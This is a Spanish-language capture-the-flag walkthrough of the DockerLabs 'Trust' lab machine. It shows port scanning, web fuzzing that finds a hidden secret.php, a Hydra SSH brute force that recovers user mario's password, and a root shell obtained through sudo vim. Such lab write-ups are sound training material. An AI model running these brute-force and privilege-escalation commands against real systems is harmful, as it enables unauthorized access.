Muy Facil Dockerlabs

7 de octubre de 2025

DockerLabs: 2. Máquina Trust

Resolución de la máquina Trust de DockerLabs, enfocada en fuzzing web, fuerza bruta SSH y escalada de privilegios con vim.

Web Fuzzing Brute Force Privilege Escalation SUID vim
Imagen de portada para DockerLabs: 2. Máquina Trust

Ejecución de Maquina

Para esta segunda maquina de DockerLabs hecha nuevamente por el Pingüino de Mario vamos a descomprimir el archivo en una estructuración de carpeta a nuestro gusto:

mkdir Trust && cd Trust
mv ~/Descargas/trust.zip .

7z x trust.zip   
----------------------------------------------------------------------
7-Zip 25.01 (x64) : Copyright (c) 1999-2025 Igor Pavlov : 2025-08-03
 64-bit locale=es_CO.UTF-8 Threads:128 OPEN_MAX:1024, ASM

Scanning the drive for archives:
1 file, 146884908 bytes (141 MiB)

Extracting archive: trust.zip
--
Path = trust.zip
Type = zip
Physical Size = 146884908

Everything is Ok  

Files: 2
Size:       398682736
Compressed: 146884908

Muy bien, hecho esto podemos ejecutar la maquina sin ningún inconveniente:

sudo bash auto_deploy.sh trust.zip
--------------------------------------------------------

                            ##        .         
                      ## ## ##       ==         
                   ## ## ## ##      ===         
               /""""""""""""""""\___/ ===       
          ~~~ {~~ ~~~~ ~~~ ~~~~ ~~ ~ /  ===- ~~~
               \______ o          __/           
                 \    \        __/                                                                                               
                  \____\______/                                                                                                  
                                                                                                                                 
  ___  ____ ____ _  _ ____ ____ _    ____ ___  ____                                                                              
  |  \ |  | |    |_/  |___ |__/ |    |__| |__] [__                                                                               
  |__/ |__| |___ | \_ |___ |  \ |___ |  | |__] ___]                                                                              
                                                                                                                                 
                                     

Estamos desplegando la máquina vulnerable, espere un momento.                                                                    

Máquina desplegada, su dirección IP es --> 172.18.0.2                                                                            

Presiona Ctrl+C cuando termines con la máquina para eliminarla 

Con esto podemos empezar a ver todo lo que tiene que ver con respecto a las vulnerabilidades de esta maquina… ¡Vamos a ello!


Reconocimiento de Puertos

Por mi parte generare dos carpetas iniciales para empezar a guardar el contenido importante y me moveré a la carpeta donde realizare el escaneo de la maquina

mkdir walkthrough
mkdir walkthrough/nmap

cd walkthrough/nmap

Aplicamos el truco del ttl, si el resultado es 64 sabemos que es una maquina Linux, si es 128 es una maquina Windows

ping -c 4 172.18.0.2
---------------------------------------------------------------
PING 172.18.0.2 (172.18.0.2) 56(84) bytes of data.
64 bytes from 172.18.0.2: icmp_seq=1 ttl=64 time=0.198 ms
64 bytes from 172.18.0.2: icmp_seq=2 ttl=64 time=0.068 ms
64 bytes from 172.18.0.2: icmp_seq=3 ttl=64 time=0.063 ms
64 bytes from 172.18.0.2: icmp_seq=4 ttl=64 time=0.063 ms

--- 172.18.0.2 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3072ms
rtt min/avg/max/mdev = 0.063/0.098/0.198/0.057 ms

Identificando la maquina Linux aplicamos el escaneo de puertos con Nmap y ver que podemos encontrar:

nmap -sVC -sS -p- -Pn 172.18.0.2 -oN escaneo.txt
----------------------------------------------------------------------------------------------
Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-25 09:54 -05
Nmap scan report for 172.18.0.2
Host is up (0.000013s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0)
| ssh-hostkey: 
|   256 19:a1:1a:42:fa:3a:9d:9a:0f:ea:91:7f:7e:db:a3:c7 (ECDSA)
|_  256 a6:fd:cf:45:a6:95:05:2c:58:10:73:8d:39:57:2b:ff (ED25519)
80/tcp open  http    Apache httpd 2.4.57 ((Debian))
|_http-server-header: Apache/2.4.57 (Debian)
|_http-title: Apache2 Debian Default Page: It works
MAC Address: 02:42:AC:12:00:02 (Unknown)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.56 seconds

En este caso nos encontramos con el puerto 22 y 80 abierto, lo ideal en este caso es dirigirnos a nuestro navegador de confianza para ver como podemos obtener el acceso. Volvemos a la lógica de la mayoría de las maquinas, lo ideal es poder identificar las credenciales o una de ellas en el sitio web para conectarse por SSH, pero por lo que vemos por el titulo se trata de una pagina por defeco al instalar Apache en una maquina Debian. Entonces el paso a proceder será descubrir posibles rutas del sitio web.


Explotación

Podemos acceder al sitio web con el navegador que queramos pero solo para confirmar el sitio web, al hacerlo nos encontraremos con un sitio de este tipo: ServidorApache

Ya que nos encontramos con una pagina Apache por defecto haremos un escaneo de fuzzing para poder identificar posibles archivos o directorios importantes, por lo cual usaremos gobuster para esta tarea:

mkdir ../gobuster
cd ../gobuster
gobuster dir -u http://172.18.0.2/ -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-big.txt -x php,html,txt -o dns_discovery.txt
----------------------------------------------------------------------------------------------------------------------------------------------------------------
===============================================================
Gobuster v3.8
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://172.18.0.2/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-big.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.8
[+] Extensions:              php,html,txt
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/index.html           (Status: 200) [Size: 10701]
/secret.php           (Status: 200) [Size: 927]
/server-status        (Status: 403) [Size: 275]

Bingo, tenemos 2 rutas, la primera se trata del mismo sitio que obtenemos al acceder a la ruta de la dirección IP de la maquina victima, por otro lado tenemos un archivo llamado secret.php, esto es bastante llamativo sobre todo si no se trata de una funcionalidad de php como envió de formulario, para ello lo único que podemos hacer es dirigirnos al sitio web y ver que nos devuelve, por lo cual al acceder a ese sitio web nos encontraremos con algo por el estilo: RutaOculta

Tenemos un posible usuario bastante llamativo (Mario) por lo cual podríamos intentar hacer un ataque de fuerza bruta para poder identificar la contraseña, por lo cual usaremos la herramienta de Hydra, la cual nos permite hacer ataques de fuerza bruta. Escribiremos el siguiente comando:

hydra -l mario -P /usr/share/wordlists/rockyou.txt ssh://172.18.0.2 -t 4
----------------------------------------------------------------------------------------------------------------------------
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-08-25 22:59:46
[DATA] max 4 tasks per 1 server, overall 4 tasks, 14344399 login tries (l:1/p:14344399), ~3586100 tries per task
[DATA] attacking ssh://172.18.0.2:22/
[STATUS] 18.00 tries/min, 18 tries in 00:01h, 14344381 to do in 13281:51h, 4 active
[22][ssh] host: 172.18.0.2   login: mario   password: chocolate
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-08-25 23:01:35

En este caso le estamos diciendo a hydra que queremos probar un ataque de fuerza bruta al protocolo ssh con el usuario (mario) y una lista de palabras de distintas contraseñas en el archivo rockyou.txt. De esta forma si por alguna razón encuentra una coincidencia de credenciales se continuara con la muestra de la respectiva credencial, en este caso el usuario que ya sabemos y la contraseña (chocolate). Teniendo todo esto en cuenta nos queda comprobar que todo funcione correctamente al conectarnos con SSH:

ssh mario@172.18.0.2                       
mario@172.18.0.2's password:
----------------------------------------------------------------------------------------------------
Linux 064d7d85bbb5 6.12.33+kali-amd64 #1 SMP PREEMPT_DYNAMIC Kali 6.12.33-1kali1 (2025-06-25) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Tue Aug 26 04:08:47 2025 from 172.18.0.1
mario@064d7d85bbb5:~$ 

Con todo esto hemos accedido a la maquina victima, solo nos queda escalar privilegios.


Escalada de Privilegios

Lo primero que haremos es listar el contenido que tenemos acceso de permiso de ejecución como administrador sin la contraseña con nuestro usuario actual, en caso de que no funciones probaremos con algún permiso SUID el cual podamos explotar, para ello realizamos lo siguiente:

Miramos los permisos de ejecución sudo
sudo -l
[sudo] password for mario: # Ingresamos la contraseña del usuario Mario
Matching Defaults entries for mario on 064d7d85bbb5:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty

User mario may run the following commands on 064d7d85bbb5:
    (ALL) /usr/bin/vim

Con esto hemos identificado la vulnerabilidad clave, vim es un editor de texto gratuito que permite la ejecución de comando sudo para beneficiarnos. Para ello nos guiaremos de nuestro gran amigo GTFObins, el cual como nos índica, podemos ejecutar sus permisos de ejecución para escalar privilegios, para ello haremos lo siguiente:

sudo /usr/bin/vim -c ':!/bin/sh'
[sudo] password for mario: 

# whoami
root

Lo hemos logrado, otra maquina de DockerLabs completada correctamente.